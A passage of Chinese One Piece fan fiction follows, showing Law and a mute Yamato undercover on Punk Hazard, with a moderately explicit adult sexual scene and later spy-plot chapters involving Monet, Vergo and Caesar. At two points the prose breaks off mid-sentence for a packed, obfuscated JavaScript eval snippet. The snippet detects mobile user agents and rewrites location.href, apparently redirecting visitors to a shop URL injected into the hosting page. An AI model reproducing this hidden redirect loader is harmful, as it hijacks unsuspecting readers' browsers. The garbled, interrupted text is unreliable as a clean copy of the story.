“哈?什么破回答!说‘明白’还是‘不明白’!”什么乱七八糟的——首先是形容词,其次是“变成别人的”叫什么话——“我看你是找揍。” ‘明白。’大和还是依了自家船长。可眼见跪在旁边的男人衣衫湿透的模样更显可怜,刚“活”过来的他就不禁起了坏心眼。 ‘你衣服湿了,换一件吧。’ “唔,水溅的罢了。稍后就换。” 男人还未觉到异常,亲自用手掌试探对方已经恢复体温,确认也没有其他失温后的发病现象,感慨幸亏“傻子”的身体素质够强。 “你差不多也起来把水擦干吧。今天下午哪里也别去了,照你的习惯可以受伤后多睡觉;我也不出门,有任何不对劲,随时叫我。” 另一青年听了心思便更加活泛。 ‘有其他需求也可以吗?’他试探性地表达。 “当然,任何事都可以……等等,”罗还是停顿下来,不怪他太敏感,是“狗眼”突然亮起可疑的光芒,让他不能不多想——“什么意思?” 比罗浅了两个色号的手臂搭在浴缸边缘,闪闪的大眼睛随趴在手臂上的脸忽然凑近,地上的青年本能地向后一撤。 “喂!打杂的,你可刚‘活’过来,想什么呢!” 不说话的人笑嘻嘻地看向他,可罗莫名地产生一种“错觉”:2年前初识那会笑起来时还有点傻气的人,现如今的笑容好像已经没有那么单纯了。 ‘船长。’修长的五指在眼前招了招,罗方发觉自己刚才好像被对方的“气场”压倒了,即便那人还一副傻笑。‘有件衣服想看你穿。可以给我看看么?’ 看那一副披着羊皮的狼模样:一方面表情乖巧无害,好像随时还能给他“摇个尾巴”,另一方面看他的眼神……就像要吃人。 也难怪,他看不到自己在对方眼里看到的模样: 一贯漂亮的脸蛋暂且不必说,几乎从来不扣领口的衬衫在最透明无害的清水作用下紧贴躯干,布料的线条之下依稀可见健美的线条,起伏中若隐若现更漂亮的起伏; 更不要提眼下半跪在浴室地面的水渍间,两膝自然打开,紧绷的肌肉线条,卷起的裤脚边可见修长跟腱…… 打量这幅光景的人能依稀感觉到自己的脑子可能渐渐坏掉了。 大和本想问为什么罗能把别人的身体巧妙改造,却从不用在自己身上——着实是这副身体已经很美了,他如痴如醉地认为,或许正因为罗够美了,才能打造其他漂亮的身体。 某种“天性”中的贪婪,使他按捺不住想:这副美丽的身体,还有这个漂亮的人,都是属于他的。 - “衣服?什么衣服?”罗从看清大和的意思之后就开始困惑。他不明白,难道说现如今这人还懂怎么给他买衣服了? 有点难以想象,倒也不是不信任大和的审美……不,就是不信任。就算这2年在他的用心下某人可以和他保持同一水准的扮相,但不等于他忘记2年前某人土包子的样子。 与此同时,他却还是隐隐有些好奇,甚至于说期待对方要拿给自己的东西。 快2年了啊,这两年里无论是世界还是他们都在发生微妙的变化。 “……什么!你是不是又找揍了?该死的''狗男人'',你把那个放回去!” ——变化就比如,2年前如果有人胆敢把1件裙子递到他面前,他会觉得对方有病进而直接用刀切开脑子,现在却没有动手,脸先红了。 “不对!扔了,直接给我扔了!” ——但说真的,也只是因为面对的是某人他才没动手,如果但凡换个人来,无论男女他可能都会用眼刀加钢刀一起杀了对方。 大和拿出来展示的是件质地丝滑的女装裙,赤红如人毫不掩饰的欲望,也像他此刻暗流涌动的虹膜。 “打杂的,你终于是疯了?”罗刚才在浴室里就看到对方眼神直白得有点不对劲,早意识到他想干什么,但没想到其实要这么干。 忽然脑子里闪过一道线索,罗急忙抓住,也伸手揪住了大和新换的毛衣前襟。“我想起来了:之前在北海买的那两本破书——老实交代,你到底学了些什么奇怪的知识?!” ‘那两本有点太‘教条’了,后来又翻到些其他……’ 突然太过强烈的难为情,让罗没等看下去就将手里的人又向前一拽,“见鬼!我每天挖空心思搜索情报,你就在搜索这些玩意?”情急之下,青色的眼眶瞪大一圈,脸色也涨红了。没注意语气和说话变得有失偏颇——“我带你出来是在游山玩水吗?” 还在恋人粗暴拉扯下无奈微笑的人愕然,虽说直觉上并未察觉到罗真地在生气,可他还是下意识地感到歉疚和懊恼。 ——是呢,罗一直很辛苦,为了目标而殚精竭虑。他虽然跟在旁边,看似“搭把手”,但好像也从未起到决定性的作用,反而还需要船长花心思照顾他……就像今天,因为一是掉以轻心,差点被凯撒的秘书杀了,还是罗及时出现救他。 眼看原本精光闪闪的朱色眼瞳变得黯然,甚至露出愧疚,罗就知道自己说过头了。 ——不是的,大和已经帮了他太多:无论整理情报抑或一路照料,光是救他的命,算下来就不止1次。此外无论是2年来均未说1句话,还是1年多都没再使用过恶魔果实能力,甚至于就因为他命令装聋作哑和隐藏实力,受了多少委屈…… 明明过去是说话比思考还快的人,如今只能和他一人交流,而且只能通过手语; 明明对自己的性别认知一贯头铁,不管别人怎么看都要告诉别人“是男人”的,也因为不能交流就认了。 明明实力很强,至少不比他差,却由着没自己强的人欺负得到处是伤,还差点伤及性命; 明明已经将他要求的每件事都做下来了…… 罗在连续多日都未想到破局战术的压力下,又经历亲眼目睹同伴在眼前倒下的冲击,便在亲近之人面前隐藏不住情绪。 “抱歉。我不是这么想的,讲错了!”目光松动近于模糊,青年急忙伸手将面前神色懊恼之人按在脑侧,“打杂的,谢谢你。谢谢你替我做这么多,谢谢你救了我好几次。对不起,我最近遇到了瓶颈,我想快点和你离开这个地方……” 青年突然被近前的人意外推开,还没来得及隐藏表情,就见另一人手势无比熟练如同真正的哑者:‘不要感谢,不要道歉。你在做了不起的事情。我做的不好……’ 罗便忍不住将他再次拽至近前,却把脸埋入毛衣领口。 冰冷总算是离他远去,站在罗身前的是体温正常偏高的活人——是活人,这一件就比什么都重要——不再泛青的肤色,也不再僵直;不仅是温暖,而且有足够的弹性和柔软。紧贴这样的他,才真正能放下悬着的心。 “不是的!”在男人脸上来说应该是稀有的水滴流进对方领口,或许也只允许自己将眼泪这种东西流给对方,“不是的……”声线无法扭转地在对方怀里变得纤细,如同童音,“你再好不过。” 并不比他粗壮,却结实有力的手臂也轻柔地环在他的腰背上,很温暖,即便1个小时以前其自身还被冻到瑟瑟发抖。 他知道大和很强大,只是形貌有女性化的纤细,但无论力量还是器量——尤其是意志上——都真正的男人毫无差别。他知道对方甚至比他高出几公分,所以他要伏在对方胸口,远比对方这么做要轻易。 一开始只是喜欢这个人,后来渐渐变成依傍,甚至并不光彩的说,在心理上产生了依赖。 就像原本每晚都满地乱躺,现在却习惯贴着旁人安心入睡。就像自以为不会被任何情况动摇意志,但旁人的一言一行,或只是不动声色地替他忍耐不公,就可以使他难免情绪化。 ——两年时间的变化有很多。 就像他也愿意改变自己,迎合对方的心愿。 “……这件红色不合适……”他抬起眼来,看着被扔到一边的丝质女装,还注意到了肩带和腰线,不禁又面上一热,“换一件行不行……” 大和原已经打算放弃了,突然听到这么说,惊愕地退后一些将臂弯中的人托起脸来。 ‘你确定?不愿意,就不要勉强。’ “不是……”手里的衣领已经被他捏地皱在一起,早已看不出原本的挺阔。他最后又用力攥了攥,终于撒开手,也像放下最后一丝心防。“我没事。随你折腾,就当给老子泄泄火吧……” 他催促着,也自解衬衣,在床边坐下。 “最近过得太不爽了,只要你能……”奇怪竟突然说不下去。因为莫名的羞怯而掩口,在食指指节旁咬了一口,才又狠狠心继续说:“只要让老子高兴,随你玩吧。” ‘不然衣服就还是……’ “拿出来。”他都下定决心的事情,不可能说退缩又退缩回去,“——还是说没得换,只有这件?” 白发人表情无奈地看看他,僵持2秒,在他故作无畏的注视中转身拿出另外的选项。 一见之下就令他差点突破心防,仅以低头伏在腿上,遮挡可能太过生动的表情。 “哧……”一室之内,不知是谁先忍俊不禁。 很可能就是罗自己。当然,身旁的人同样无声笑得颤抖。 两名20来岁的年轻人,就像冰火岛之外、遥远的世界上,其他岛屿上的普通年轻人一样,恼过、脸红过,过后而又笑作一团,只是或许还不可笑得太大声。 - - 黄昏从窗帘外幽幽探入,只需这一点微弱的光就足以让他看清,为他而将自己全部展露出来的完美男人。 因为男人主动要求将双眼蒙上,唯一的观者只好在他胸口的肌肤上赞美他的身体。 ——却也无法忽视指腹划过时男人的战栗。 ‘罗好漂亮。’ “不……别看了……怎么会有女人愿意穿这东西,好难受。” 对此如果他能说话,可能会直接趴在通红的耳边告诉对方自己的亲眼所见:罗的身体好像有其他“想法”。 但好在不说话可以帮他在脑子里先筛选一下想法,进而吞下了这种表达欲,心软地在男人腮上亲了一下。 ‘可惜你看不到我见到的样子。’ “打杂的,你等着……明天我就把你那些破书找出来烧干净。”——明明已经是过滤后才表达了,可大和还是收到了这样的反馈。 冰凉柔韧的发丝落在身上时,就已经让罗忍不住颤抖了,注意力再集中于对方‘写’字的指尖,终于留给自己的只有无法抵御的羞怯和躁动。 大和无奈地从上方看看他,觉得又可爱又好笑,但直觉上不想任由罗故意装作的态度破坏此刻的气氛,于是决定低头先含住他“毒舌”的双唇。 “嗯。”他回应地有些热切,或许实际也有些焦躁起来,上方之人握住手掌轻轻推起,就像他也曾做的那样。 很难想象情况如今会反过来,但这不失为一种猎奇的体验,只不过从另1人初看他硬着头皮套上该是女性的比基尼时……眼神一点也不像只为了猎奇! 所以他才本能地不想再看,不敢想象自己会怎样被对方一点点拆啖入腹。 “……喂!这是……可恶……” 没想到稍一醒神才后知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13175247|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后觉手掌被绑住了,从腕上的触感来讲绝不是旁人的手,而是和蒙眼的布料同样的丝绸。 ——怎么会这么恰巧……难道说他主动要求不想看,反而是踏进对方早就计划好的安排里? ‘怕你乱动,先绑一小会。’可能初次尝试怕他不高兴,很快解释就在上腹的皮肤上出现。顿了顿,提示文字又“换行”写到下腹来,‘不要太用力挣扎,会留下印子。’ “你……”唇边溢出一丝叹息。“我为什么会答应你……”最后一句话像是在问自己。 ‘很快就好了。’文字又落到下腹上。‘很快的。’ 随后每过之处往往挑起战栗的指腹若有似无地滑行到腿上,他本强迫自己去想是不是又要专心分辨什么内容,“答案”却显而易见,对方已经进入正题。 他从一开始的讶异,到难为情和猎奇,到沉没于难以启齿的快感和不但放大的空虚。勒在他胯上若有若无的细绳一开始是绑缚,后来成了阻碍,再后来就成了他祈求对方解放他的方式。 他原先只大略从医学的角度知晓,却连想象也未想象过事情真地可以这样:他可能去了不下一回,在释放的边缘徘徊,每次又都需要另1人帮他释放出来。 而那种释放超过以往,超出性别——他一会确信自己是男人,一会又希望变成对方怀里的女人,一会想法又是模糊的,又或者只要能索取,无论怎么样都好——事实上也超出想象。 到了最后脑中便只有唯一的念头。他只爱这一人,爱他给自己的羞怯、困扰、混乱,爱他给自己一切,爱他看到自己一切的样子还依然抱他。 等到他精力几乎耗尽,视线被恢复的同时也松开双手,本以为会出现的难为情早已淹没在爱的温柔里。撤下凌乱的床单,有人帮他清理干净,陷在恋人的柔情里,也最终蜷缩进那人怀里,入风平浪静的梦里。 - - 等到几天后,罗替大和打听到有关“饼干屋”的真相。面对女秘书不依不饶的追问,他也供认不讳:是替他家‘助理’问的,又怎么样。 “那家伙看来喜欢小孩子,对B栋那间屋子比较在意。”青年坐在“大师”凯撒的办公室里,漠然拒绝了递过来的咖啡。“不过我估计在听闻真相后,会有些伤心吧。那家伙一向太过心‘不够硬’……” “原来如此,还真是温柔的孩子。和你不太像呢,罗。” “你就没资格说我了吧:一个劲欺负人,还差点冻死我家助理的秘书小姐。”罗毫不隐藏自己反感的眼神,不过也很快恢复到平时的冷酷。 “哦,原来你做过这么过分的事呀,莫奈。”凯撒好像后知后觉的反应,虚伪地让罗觉得恶心,“真是不应该哟,你要向罗道歉。” “不必了,”该警告的话已经说过了,何况他也不想多听任何屁话,“她已经道歉过了。” 虚伪的科学家还在继续演:“那你应该再去关心一下大和——难怪最近看不到她来实验室了呢——在独自伤心吧,真是可怜的家伙。” “说的是。我一会就去找找她,毕竟实验室里少了她,冷清了不少呢。最近就连饼干屋的孩子们都问‘大姐姐去哪了’……” “要想使唤我家助理,好歹也提前找我问问。”七武海直接提醒。“还有,这话我只说1次:大和是个男人;用‘他’!” “哈?!无论怎么看都是女人吧。你认真的么,罗?”虽并真地不关心这个问题,但凯撒的表情明显怪异,好像听到的消息让他多不情愿接受。 “我很确定。”罗板着面孔,没有任何开玩笑的意思:他的身边人,他最清楚。“他绝对是个男人。没有哪个女人像他这样。” ——也没有人会那样弄他。 不正经的心思突然飘过脑海,青年干脆借起身掩藏面色,表明还有其他安排,就不坐了。 出门而去,走廊上刚巧与所提之人迎面相遇。他慢条斯理地架着妖刀继续迈步,对面亦不动声色地一步步走近。 直到面前,看似毕恭毕敬地对七武海垂目笑笑,又抬眼等待号令。 “怎么来了?”七武海侧目朝助理脸上扫视,似乎看不出有何异常。 助理还是用手势回答,除他面对的人之外,别人依旧看不懂。 “莫奈叫你啊……”七武海的话倒帮人理解了,原来刚刚的手势里刚好有几个能够代表她的名字。“再被欺负别只挨着,也差不多该学着还手了。” ——不知道是说给谁听的呢。真是精明的男人。 助理笑了起来,望向七武海的眼神还是那样不懂得隐藏。令人慨叹。 七武海也不是看不到吧?近在眼前,近乎喜悦的喜欢。 这么可爱的孩子,其实她也不想“欺负”呢,但是他们不可能像饼干屋的那些小朋友一样,因为大人说“要好好相处哦”就一起毫无芥蒂地游戏。 更何况“大人”们面对他们时不会再说这样的话,他们也不会因为和别的“孩子”好好相处就能够得到奖赏的糖果…… 而并不是孩子,却也要听从“大人”说话的他们,偶尔也会带些不够单纯的心思。 ——或许大人给的糖果已经不够甜了,或许已经将对糖果的喜爱转移到拥有糖果之人身上;吃到糖果也不再是目的,那个人的愿望才是目的;最终对那个人献出一切其实是必然。 七武海在此时偏过头来,令人意外地举动暧昧,手托助理下颌。“想做的话就做;不想做就告诉我,我替你拒绝。” 哦? 助理甜甜地笑了——从这个角度看,实在很难相信那是男人呀,分明应该是可爱的“女孩子”——下个举动也出人意料:他像轻易就经不起诱惑那样,借势凑在七武海的脸颊上亲了一下。 这孩子…… 七武海并没显露什么不快,或许没有躲就代表他已经打算欣然接受。转过脸来还一改冷漠的表情,转瞬即逝但显然对面前的人笑了,又轻松地眨动一下左眼。方松开手错肩走了。 助理还在背后偷笑着目送他的背影。 莫奈忽然有些错乱:罗这是彻底不打算假装不在意同行的“助理”了吗? ——从代为打探关心的消息,到在走廊上遇见也不掩饰暧昧,或许包括代为向其他人更正大和的“性别”。 她真是越来越看不懂罗。 没办法了。看来她只能如实将情况报告Joker,以黑市中间人的渠道应该调查起来易如反掌,或许也有办法知晓罗真正的目的吧。 - - 也就在莫奈将班克禁区的一切知无不尽地汇报真正上级后,不出1个月便有了新的指令。 她要在这里迎接德雷斯罗萨来的船只,也要盯紧自称是为了“调查世界政府行径”之人的踪迹。看来僵持了几个月的形势就要发生变局了。 而遽变远远超出任何人意料。因为海上还有两艘原本无干的船向着“冰火岛”进发。罗也即将迎来他等待的破局之法。 38.piece 38-班克岛行动与一触即发 班克禁区,原班克第三研究所内临时房间—— 虽然叫“临时”房间,可实际上到访者也已经住了数月。 按说身处敌对关系尚且不明之地,应该难得安眠。然而几乎熟睡一夜之人醒来后,发觉自己不但心安理得,蜷缩在干爽的寝具中,居然还浅浅地洋溢着幸福感。 这样是不是有点不太对…… 不过他知道有人已经替他守护了一夜,也早早就起床了。 床边人影正轻手轻脚地收拾一夜之前的残局。 他伏在枕头上支起脑袋,“打杂的……”嗓音有些暧昧微哑。 听到这样的声音,无论他自己、还是房间内另1人,几乎同时心领神会。 白发青年直起腰来时抿着唇,转而将一杯清水递给床上的男人,勉强算是一种对自己做的“好事”表达负责态度的表现。只是没完全按捺住嘴角的上扬。 罗睇了他一眼,成功地控制住了脸红的迹象,可也未成功讲出任何毒舌或埋怨的话来。收回手臂后才堪堪用杯沿挡住唇边的浅笑。 大和默默欣赏着露在空气中的性感侧影与帅气纹身,等罗放下水杯时才比划到:‘要不要吃一些东西?’ “我不喜欢面包。”青年掀开毛毯坐起来时有些任性地嘟囔道。 床边的青年听进去了,但也只能好言相劝:‘还有鸡蛋、牛奶和一些香肠。’ 罗盯着他的手指如何灵活地翻飞,下意识联想到一些奇怪的事情,譬如造成自己嗓子喊“废”了的原因,譬如近来床事方面有点疯狂的体验——应该和当初让杂务练习手语没有必然关系吧。 “我想吃饭团。”他难得没怎么过脑子就讲出了自己的愿望。话音刚落已见对方漂亮的眼眸里涌起无奈又柔和的笑意。 大和面对着刚下床显得慵懒而不设防的男人,按捺想要抱一抱他的冲动,比着手势道:‘这里的厨子不会做。我去试试吧,争取今晚让你吃到。’ 达到目的后,青年也就得意地扬起眉毛,起身后主动向前,将下颌架在看起来比自己高出一点的人肩头。 停靠几秒,好像自认给够了“奖赏”或信赖那样,又或许只是醒后借此再贪恋一会宁静的清晨,便又抬起下巴离去,光着脚丫走向浴室。 被留下的人沉浸在仿佛被傲娇“猫咪”宠幸过的幸福感里,注视纹有海贼团标志的背影远去,和修长健美的双腿一齐终于消失在浴室门后,才又满带笑意地弯腰捡拾穿过的衬衫与用过的床单。 床铺上还留有那个人醒来时的痕迹与余温,和贴身衣物上有同样他所爱的气味; 椅子上搭着黑色大衣和白色帽子,摸起来就像那人的短发差不多柔软; 武器并排靠在桌沿,桌面有摘下来的耳环和项链; 旁边还有他特意放在热水里保温的早餐…… 就算身在敌营,也不能总是紧绷神经——那样会受不了的吧? ——偶尔就由他来照顾好船长,顺带也帮他喜欢的男人放松一下……自然,他很喜欢看“放松”状态下的罗就是。也贪恋给予被接纳时由衷的满足感。 - - 打扫房间、晾晒床单,做完这一切后还要去干什么呢? ——是去厨房了嘛。 将写有请求的笔记本一页、一页翻给厨子看,厨子脸上一晒,爽快地将围裙递给他,让罗的随行“助理”洗手进入后厨自行操作。 “简直就像温柔的情人呢。”羽翼轻轻收拢停落,金色的眸子出现在白发人肩头,对着耳侧轻轻道。 大和就像吓了一跳,迅速脱身后脸红着低头“唰唰”几笔,举起写字的小本来:‘莫奈小姐:厨子说不可以造成食物污染——请小心羽毛。’ “……”原本要调侃他的人反而脸色有些挂不住。 是因为过去欺负的太过了么?但感觉不像大和的个性会作出的报复行径吧。 “好,我会当心的。”草绿色鬈发女人恢复微笑,点点头。“呐,我说的话,你有听到吗?” 他果真面露疑惑,她也就耐心十足地重复,为了确保口型还特地放慢说话的速度:“你就像个温柔体贴的情人哦——安心照顾罗的样子~” 他又脸红了,但同时蹙了蹙眉,写到:‘不喜欢这个叫法。’ ——在否认呢,这个傻孩子。 低头又是唰唰几笔,‘莫奈小姐来找我吗?’ 莫奈又笑着点点头:“欸,我很中意你噢,总想看看你在做什么呢。” 他就像刚刚见她凑得太近时一样害羞了,‘请不要乱开玩笑。’他的本子上写,翻了一页又回答道:‘我在尝试做饭团。’ “哦~给罗做的嘛?” 白发青年停顿了一下,还是点了点头。 “真‘贤惠’呐……” 她一面夸赞着,看见大和无言地眨眨眼,垂首时浓密的睫毛如蝶扑着眼眸。他或许觉得已经对莫奈解释过了,便开始当下的工作,舀米、冲洗、煮饭。 他做着如此平凡的事情——洗衣、做饭——好像也不像传回的情报那样厉害。 海军中传出一说是有可能曾在顶上战争中参战,与已故的“火拳”波特卡斯-D-艾斯有所关联; 也传在北海协助罗制伏了难缠的海贼“心理医生”,甚至那一战——不知因为谁,是罗还是大和——导致全城大多数人陷入昏迷; 离香波地群岛不远的地下拍卖场还有传闻曾遭到罗带着模样相同、特征相似的人——明明是“女人”却自称男人——砸场子,并且一出招就冻住了所有打手的行动。 问题是这3条情报中带有的特征信息实在差别太多: 如果地下拍卖场的消息是真的,考虑到罗是手术果实能力,会用“冰冻”能力的可能性虽然不是完全没有(毕竟手术果实的实际力量还深不可测),总感觉有些牵强,让人天然倾向于应该是同行其他人使用的能力; 然而若是自然系恶魔果实的冰冻能力,顶上战争中似乎只有前大将青雉展露出大规模的冰系招式,除此之外便没有能证明谁还使用同系别能力的迹象——海军本部的消息打探起来还是太困难了——何况世间也还从未听说除了冰冻果实、和莫奈自身吃掉的雪雪果实以外的冰系果实; 就连亲自参战的Joker本人也想不起来,不过他也说了当时主要在关注白胡子和草帽路飞等人的动向,没有太注意白胡子带来的其他“杂鱼”…… 可是罗又何德何能将白胡子生前的“手下”收到麾下当助理呢?就算悬赏金升到4.4亿,又变成了与Joker一样的七武海,也不过是“小孩子”罢了; 至于说北海名不见经传的海贼口述的消息,虽然提到有个哑巴“很强,甚至比七武海还强”——但怎么听来这都是最不靠谱的一段消息——即便消息中也附加了2条:“哑巴被七武海‘欺负’的很惨,会被训哭,甚至在米尼翁岛上还听到过疑似哑巴放声大哭”,以及“哑巴很爱七武海”。 ——众多消息源中,莫奈的真正上级Joker不相信北海传来的消息,即便罗去米尼翁岛可能是真事,除此之外无论说罗收编的跟班比罗本人还强,抑或“哑巴放声大哭”都很不合理:大和在班克岛期间一点声音也没发出过,哪怕是被“欺负”受伤的时候。 可冥冥之中,说不清的原因,却让莫奈觉得北海的消息有可能是真的,即便如此她还是会无条件地接受Joker的判断。 ……或许因为最后那句“哑巴很爱七武海”吧。就因为这样1条消息,使莫奈直觉上“买账”了,甚至默默做出了与Joker相反的判断。 只是从结果来讲,“还是放弃吧……”坐在独自忙碌的身影背后,女人在沉思中喃喃自语——她会放弃自己的判断,遵从Joker的指示。 那么一切就等今日见分晓好了。不意外的话,已经在海军中潜伏多年的那个人也快到了。 - 大和听到了交流中止后,“女秘书”传来的叹息,和那1句有关放弃什么的自言自语。 他没明白,也提醒自己不要多想,安心于维持自己的伪装,继续麻痹敌人。 不多时警觉到有只羽毛般轻柔的“手”——实际上正是羽毛——从身后伸过来,悄悄拿走了他为了做饭时方便,塞入围裙口袋内的便携笔记本。 他本以为女秘书有可能要窥看他本子上写的内容,是否记载些从“大师”凯撒的实验室或办公室盗取的情报。 当然,笔记本上没有这些内容,事实上进入班克禁区后所收集的全部信息都不再以书面记载,而是在与罗同步信息后,勉强自己无论如何也要记进大脑中去。 女秘书可能翻了没一会,也明白了小本上没有任何敏感信息,只有大和在装聋作哑时与他人交流所写的简单文字。很快,小本子又悄悄地塞回了大和的口袋中。 他装作不知,保持专注于调制馅料的状态,却也耳聪目明地听得莫奈扇动羽翼,轻轻离开了。 为提防在何处都可能存在的耳目、眼线,大和继续忙活手头的事情,对一切充耳不闻。 直到数小时后被一闷棍敲晕。 - - 凭借对气味和触感的判断,大和意识到自己应该是被拖拽到了研究所C栋的凯撒办公室。 事实上,他在察觉有人偷袭时也曾犹豫是否要反抗——万一这次又不小心把自己搞“死”,罗可能还会生气——但他还是赌了一把,因为偷袭他的人不够强:一棒下来其实就能分辨出来,应该只是研究所里被凯撒收买的普通喽啰。 他很快就苏醒了,甚至还是在拖拽的过程中。醒来之后先松了口气,庆幸在短时间昏迷中未被干掉。或许该“感谢”背后真正的指使者轻敌了吧。 问题只在于他有些使不上力,很大程度上,应当怀疑眼下锁住他的其实是海楼石。 这就未免奇怪,难道研究所里的敌人已经知道他是恶魔果实能力者?不过他也实在想不出是怎么暴露实力的,也许不排除研究所只是“杀鸡”用了“宰牛刀”,或者由于其他原因对他产生了提防,干脆多施加一层约束吧。 ——是什么样的情况导致突然提高提防? 在厨房里也曾听到研究所外明显的混乱动静,彼时没有过问,现在想来大概与当前所面临的情形脱不开关系。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187073|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >是罗做了什么吗?短短半天内,是不是出现什么突发情况,使罗决定和凯撒“撕破脸”——已经紧急到无法提前知会大和的程度,或是有什么意外发生,使罗无法来找他。 那么,船长此刻是否有危险? 正这么想着的时候,说不上陌生还是熟悉的声音倒将他的思路打断,先引到了别的问题。 “啊我们被关起来了!”远远的声音,但嗓门不小。 ——怪事。听起来为什么有点像艾斯的弟弟…… “呀,里面好像都醒了呢。”近旁传来“女秘书”与另1位在研究所从未听过的男人交谈。“这样的话,是不是他也该醒一醒了?” ——听上去让人困惑的言语。转而等翅膀在自己头顶扇动时,大和便能明白莫奈指的是他自己。 不过按照“剧本”,他还得继续演一会聋子和哑巴。如今连双手都被捆缚住了,明显无法交流,干脆也就不打算“醒”过来。接着闭目但不养神吧…… “在装睡呢,这孩子。”莫奈自然不好糊弄,不过也暂未粗暴干涉。只听她对房间中其他人说:“要进去看看吗,维尔戈?” “唔,把那‘女人’一起带过去吧。让罗看到也好‘放心’。”男人回答。 ——也就是说,罗也在附近吗? 被柔软而有力的羽翼托起来时,大和的脑子又活跃了起来,不禁猜测他们所说的罗目前在哪里、怎么样、是否受伤——按理讲,既然还能“看到”那就说明至少性命无忧吧! “真期待他的反应呢……呵呵。”莫奈似乎不怀好意地笑着,却也怀抱着羽翅中的白发青年,动作出人意料地轻柔。 很快移动起来,与此同时大和还能听见另外1个房间传来的说话声。声音越发清晰,有男有女,有越听越像“草帽”路飞的声音,也有罗的声音——似乎没什么大碍,令他稍稍安心。 或许被重新丢到地上是个“转醒”的契机。反正莫奈也早已看出他装睡。为了能亲眼确认罗的状态,他也终于睁开眼,果真看到: 罗与(果真是)路飞,以及一些或眼熟或从未见过的人,均被手缚后捆绑着,锁在一架铁笼子中。 眼熟之人他也曾在过去收集情报时见过通缉令:草帽海贼团的“恶魔之子”妮可-罗宾、改造人船匠弗兰奇; 以及两位看起来应该是穿着海军军官外衣的人,1男、1女。 ——这算什么组合? 有一说一…… 机器改造人什么的也太帅了,是真地变成“机器人”了吗?好想知道! ……但是还不能直接问,可恶。 “这是什么意思?莫奈。”罗与进门之人对视一眼后,直接点名发问。 “哦呀,问我吗,是生气了吗?罗。你真正要问的问题又是什么呢?” “女秘书”笑着露出惊讶的表情,在放开白发“助理”后,以左翼虚掩双唇。 “——难道是问为什么会被关在这里吗?还是说……关于这孩子的问题呢?”一改方才还稍显轻柔的态度,鸟身女人将爪样的腿脚踩在白发人背上,也打断了那人的好奇心。 大和被踩后视线偏移了一下,再抬起头时看到罗的表情似乎像是生气了,不过在他开口之前,先有旁人抢先道:“啊咧?你是——诶你叫什么名字来着……麻……麻豆?” “YAMATO——他叫大和!”罗被转移了注意力,先将凶巴巴的语气用在给路飞的答案上。 “啊对!”头戴草帽的年轻海贼转眼露出毫无危机感的大笑,仿佛全然忘了他们是隔着铁笼子相见,彼此还都被捆了起来置身敌营。“是大和啊!嘻嘻嘻!大和,你怎么也在这呀?” “哦?看来你们都认识。” 后现身的男人引起另一重波澜。 惊愕却是来自铁笼中的两名海兵,话题又再次被打岔,罗当即解答了男人的身份:维尔戈,被黑市中间人Joker派入海军潜伏15年甚至已经升至中将和海军基地G5负责人,本质也是海贼罢了。 听到维尔戈这个名字时,大和已经反应过来。虽然从未见过照片,但他的确已经听罗说过这么个人,唐吉诃德家族的初代“红心”,卧底海军,13年前也在米尼翁岛重伤柯拉先生和少年时的罗…… ——为什么维尔戈会突然出现在班克禁区?为什么海军也在这里,而且没听错的话眼下这1间屋子里就有2名中将级别军官?以及为什么草帽海贼团的人也这么巧在? 问题太多了,总不能都是巧合。命运吗?不,这个想法才是最不靠谱的…… 为何这么多莫名其妙的人会聚在一起,带着各式各样的渊源和因果?接下来又将发生什么?这么多人凑在一间屋子里,那么研究所本身的“主人”凯撒呢,他此刻又在干什么? “大和!看着我,听我说!” 忽然有人叫他,因为是再熟悉和在意不过的声音,他一下子放松了警惕,将脸扭转过去。也在同时暴露了自己能够听到的事实。 “——活下去。我命令你必须活下去!”他的船长如此说,白色绒毛帽檐下睁大的双目显示他有多肯定。 大和听明白了。 39.piece 39-班克岛行动与盟军 脸颊上莫名沾了半块汉堡肉、之后又换成沾了支勺子的“海军中将”,靠着手握青年七武海的心脏,随意折磨后者。后归来的“大师”凯撒也在受激怒后用心脏出气。 应该已经明白正在发生什么的“聋哑”助理担忧地望向铁笼,准确说是担心铁笼里受折磨痛呼的罗。 虽然敌人的感受和命运在眼下是最不重要的,不过莫奈还是短暂地将注意力给予脚下的大和。 “‘坏孩子’,看来你可以听到嘛。”——在非面对面的情况下也能分辨罗的动向,甚至就在刚刚,罗直接下达命令让大和“听”他说话。答案似乎已经颇为明显了。 她的话好像引起了听者警惕,不过有着孔雀尾似艳丽发尾的男助理还是没有理会,也没有抬头,或许还在遵照“上级”的命令装聋作哑。 “——该不会‘不能说话’也是假的吧?”想起几个月来竟从未听过大和说1句话,哪怕受伤的时候也不发1声,莫奈惊讶于自己居然真地被骗过了。“啊啦……所以这才是我们没办法做‘好朋友’的原因呢,大和,虚假的东西太多。” 然而被抓起来看似穷途末路之人仍不动声色,令人不免有些失望。 “我很伤心哦,原以为你是‘好孩子’的……” 羽翼落在青年头上,原以为也会是一场与罗所遭遇类似的折磨,羽毛末端却只是轻轻抚摸颜色相近的发顶,然后只听她告诉凯撒:“影像设置好了,‘大师’,请上前来吧。” 从这之后,直至凯撒通过直播向黑市买家们宣扬他研制的气体杀戮武器,也没人再理会他。 